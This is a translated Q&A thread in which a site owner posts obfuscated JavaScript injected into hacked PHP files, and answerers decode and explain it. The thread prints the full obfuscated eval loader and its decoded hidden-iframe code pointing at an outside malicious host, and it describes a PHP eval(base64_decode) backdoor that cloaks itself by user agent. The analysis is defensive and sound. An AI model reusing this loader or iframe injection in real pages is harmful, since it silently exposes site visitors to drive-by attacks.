网站刚被攻击,javascript注入了标题,这是什么意思?

时间:2012-05-18 18:42:31

标签: javascript security

我们的一个网站最近遭到攻击,其中修改了多个php文件。这个修改在页面顶部注入了javascript,但在base64解码完所有后,我遇到了以下内容,我不知道如何继续。

有没有人对这些东西有任何经验,无论如何都要确切地知道他们想要实现的目标?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>

美化:

i = 0;
try {
    avasv = prototype;
} catch (z) {
    h = "harCode";
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');
    v = "e" + "va";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("div");
    q.appendChild(q + "");
} catch (qwg) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? h : "");
for (; 573 != i; i += 1) {
    j = i;
    if (e) s = s + r["fromC" + ((e) ? z : 12)](w[j] * 1 + 42);
}
if (v && e && r && z && h && s && f && v) e(s);

3 个答案:

答案 0 :(得分:19)

我查看了这段代码,这有点疯狂。

try{avasv = prototype;}开头,显然失败了。然后它会产生一些变量。

f是一个数字数组(长度为573)。 zharCode。接近尾声,有"fromC" + ((e) ? z : 12)。这会创建fromCharCodeString.fromCharCode),它与数字数组f一起使用(在为每个数字添加42之后)。这似乎创建了一个字符串eval ed。

这样得到eval

v = "e" + "va";
if (v) e = window[v + "l"];

正如您所看到的,ewindow['eval'],或只是eval

所以,如果你替换:

if (v && e && r && z && h && s && f && v) e(s);

使用:

if (v && e && r && z && h && s && f && v) console.log(s);

然后,您可以看到此代码的用途是什么。我做了这个,这是输出:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://kyubdyyyb.lookin.at/?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://kyubdyyyb.lookin.at/?go=2');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

我不知道http://kyubdyyyb.lookin.at/?go=2是什么,所以我建议你去那里

这里似乎有很多冗余检查(如(e) ? z : 12e永远不会是假的)。可能只是为了让代码更加混乱。

答案 1 :(得分:10)

我知道这不是一个直接的答案,但看起来就像他们想要做的那样。注入将在您的网站上运行的任意脚本,以执行恶意操作。

谷歌搜索“avasv = prototype”基本上只列出了大量受感染的网站,但是一些非恶意的点击表明这是一个脚本解包器。

他们想要实现的目标并不重要。他们实现了它。他们在您的Web应用程序中放置了一个恶意脚本,从那里,他们可以从您的服务器和访问者窃取敏感数据,并且由于XmlHttp,将其发布回自己的Web服务器。重要的是如何在更多访问者受到攻击之前清理它,以及如何编写代码以防止将来出现XSS和XSRF。

希望您拥有源代码控制权,并且可以将您的网站恢复到预先感染状态。这将是业务#1的订单。

如果您还没有听说过,我强烈建议您定期访问并在http://www.OWASP.org学习,这是学习如何防止将来发生的绝佳方式。


最后一点,即使您的网站中没有敏感数据,如果他们登录您的网站,您的客户仍会面临风险。

JavaScript可能会用于收集用户名/密码组合,然后可以将这些组合用于其他网站,并可能从那些网站窃取客户的信息。 (取决于您的网站编码方式)因此,清理和保护访问者绝对是业务#1的顺序,即使这意味着关闭您的网站以进行“维护”

It'll be hilarious the first few times this happens.

最后,谷歌在他们的文章“My site's been hacked. Now what?"

中提出了一些很好的建议

答案 2 :(得分:2)

我也得到了这个小动物,这让人感到困惑了一段时间,因为为了识别像avasv = prototype这样的字符串而找到了一些结果,但删除它们并没有清除感染。为了澄清OP,事实证明它最初注入了一些更有趣的PHP,通常是在index.php文件中。你会在第1行看到一个php eval(base64_decode(...))。

这段代码做了什么,我不打算重新发布,因为它是微不足道的,是解码并评估包含一些php的base64字符串。在该代码内部是一个基本的UA检查器,它查找不可感知的浏览器/操作系统组合(mac,linux,google chrome浏览器等)和搜索蜘蛛/机器人的字符串。如果您尝试查看某些浏览器/操作系统组合或使用curl / wget,这也是您不会看到恶意JavaScript的原因。如果它没有找到其列出的UA字符串之一,则它会解码并回显OP中看到的脚本,该脚本也是base64编码的。

所以你想要做的就是为了“eval(base64_decode(”)grep。我能想到的特定功能组合没有合法的目的,所以你应该能够很快地跟踪它并将其擦除。当然,无论你原来的感染点是什么都无法解决。